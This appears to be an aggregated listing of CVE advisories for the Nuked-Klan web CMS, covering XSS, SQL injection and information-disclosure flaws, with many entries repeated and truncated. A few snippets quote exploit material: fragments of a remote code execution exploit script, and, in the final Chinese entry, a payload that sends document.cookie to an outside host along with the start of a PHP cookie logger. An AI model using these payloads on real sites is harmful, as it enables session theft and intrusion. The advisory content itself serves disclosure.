CVE-2007-6090

Cross-site scripting XSS vulnerability in index.php in Nuked-Klan 1.7.5 allows remote attackers to inject arbitrary web script or HTML via the file parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

CVE-2007-6090

Cross-site scripting XSS vulnerability in index.php in Nuked-Klan 1.7.5 allows remote attackers to inject arbitrary web script or HTML via the file parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

CVE-2007-6090

CVE-2007-6090 is an XSS vulnerability in Nuked-Klan 1.7.5 where the index.php file parameter accepts unsanitized input, enabling remote attackers to inject arbitrary script via the file parameter. Exploitation details exist (Exploit-DB entry) showing crafted URLs that trigger script execution in ...

Nuked-Klan 1.7.5 File Parameter News Module Cross-Site Scripting Vulnerability

Nuked-Klan 1.7.5 File Parameter News Module Cross-Site Scripting Vulnerability. CVE-2007-6090. Webapps exploit for php platform source: http://www.securityfocus.com/bid/26458/info Nuked-Klan is prone to a cross-site scripting vulnerability because the application fails to properly sanitize...

CVE-2003-1370

Multiple cross-site scripting XSS vulnerabilities in Nuked-Klan 1.2b allow remote attackers to inject arbitrary HTML or web script via 1 the Author field in the Guestbook module, 2 the Titre or Pseudo fields in the Forum module, or 3 "La Tribune Libre" in the Shoutbox module...

CVE-2003-1371

Nuked-Klan 1.3b, and possibly earlier versions, allows remote attackers to obtain sensitive server information via an op parameter set to phpinfo for the 1 Team, 2 News, or 3 Liens modules...

CVE-2003-1371

CVE-2003-1371 affects Nuked-Klan up to version 1.3b (and possibly earlier). A remote attacker can trigger phpinfo via the op parameter in the Team, News, or Liens modules, causing information disclosure about the server. The available documents do not specify a fixed patch or remediation. If need...

CVE-2003-1370

Nuked-Klan 1.2b is affected by multiple XSS vulnerabilities. An attacker can inject arbitrary HTML or script via (1) the Author field in the Guestbook, (2) the Titre or Pseudo fields in the Forum, or (3) the La Tribune Libre entry in the Shoutbox. The description confirms remote XSS with these sp...

CVE-2007-2556

SQL injection vulnerability in Nuked-klaN 1.7.6 allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For XFORWARDEDFOR HTTP header, as demonstrated by a request to the /nk/ URI...

Sql injection

SQL injection vulnerability in Nuked-klaN 1.7.6 allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For XFORWARDEDFOR HTTP header, as demonstrated by a request to the /nk/ URI...

CVE-2007-2556

SQL injection vulnerability in Nuked-klaN 1.7.6 allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For XFORWARDEDFOR HTTP header, as demonstrated by a request to the /nk/ URI...

CVE-2007-2556

Nuked-klaN is affected by CVE-2007-2556 via SQL injection in the web layer. Reported vulnerability allows remote attackers to inject SQL commands through HTTP headers (X-Forwarded-For) and relates to the /nk/ URI; DSquare cites 1.7.7 / SP4.4 as vulnerable and notes a Referer-header vector. The NV...

Nuked-klaN 1.7.6 Remote Code Execution Exploit

No description provided by source. ?php Nuked-klaN 1.7.6 Remote Code Execution Exploit ------------------------------------------------ Author: DarkFig [email protected] Website: http://www.acid-root.new.fr/ PHP conditions: None = Private since 2 months. errorreportingEALL ^ ENOTICE; This file...

Nuked-klaN 1.7.6 - Remote Code Execution

Nuked-klaN 1.7.6 - Remote Code Execution Website: http://www.acid-root.new.fr/ PHP conditions: None = Private since 2 months. errorreportingEALL ^ ENOTICE; This file require the PhpSploit class. $xpl = new phpsploit; $url = 'http://localhost/nk/'; url $prx = ''; proxy : $pra = ''; basic...

Nuked-klaN 1.7.6 Remote Code Execution Exploit

Exploit for unknown platform in category web applications ============================================== Nuked-klaN 1.7.6 Remote Code Execution Exploit ============================================== : $pra = ''; basic authentification $xpl-agent"Firefox"; $xpl-allowredirection0; $xpl-cookiejar0;...

CVE-2007-0083

Cross-site scripting XSS vulnerability in Nuked Klan 1.7 and earlier allows remote attackers to inject arbitrary web script or HTML via a javascript: URI in a getURL statement in a .swf file, as demonstrated by "Remote Cookie Disclosure." NOTE: it could be argued that this is an issue in Shockwav...

Cross site scripting

Cross-site scripting XSS vulnerability in Nuked Klan 1.7 and earlier allows remote attackers to inject arbitrary web script or HTML via a javascript: URI in a getURL statement in a .swf file, as demonstrated by "Remote Cookie Disclosure." NOTE: it could be argued that this is an issue in Shockwav...

CVE-2007-0083

CVE-2007-0083 affects Nuked Klan 1.7 and earlier. The vulnerability is a cross-site scripting (XSS) flaw exploitable via a javascript: URI in a getURL statement within a .swf file, enabling remote script/HTML injection as demonstrated by “Remote Cookie Disclosure.” The NVD entry lists a CVSS v2 b...

CVE-2007-0083

Cross-site scripting XSS vulnerability in Nuked Klan 1.7 and earlier allows remote attackers to inject arbitrary web script or HTML via a javascript: URI in a getURL statement in a .swf file, as demonstrated by "Remote Cookie Disclosure." NOTE: it could be argued that this is an issue in Shockwav...

Nuked Klan任意.SWF文件COOKIE窃取漏洞

Nuked Klan是一款基于ASP的WEB应用程序。 Nuked Klan处理.swf文件存在问题，远程攻击者可以利用漏洞获取其他目标用户的敏感COOKIE信息。 构建一个.swf文件，放置如下代码： getURL"javascript:alert'document.location="http://site.com/cookie.php? cookie="+document.cookie';"; 或者 ?php $cookie = $GET'cookie'; $ip = getenv 'REMOTEADDR'; $date=date"m/d/Y g:i:s a";...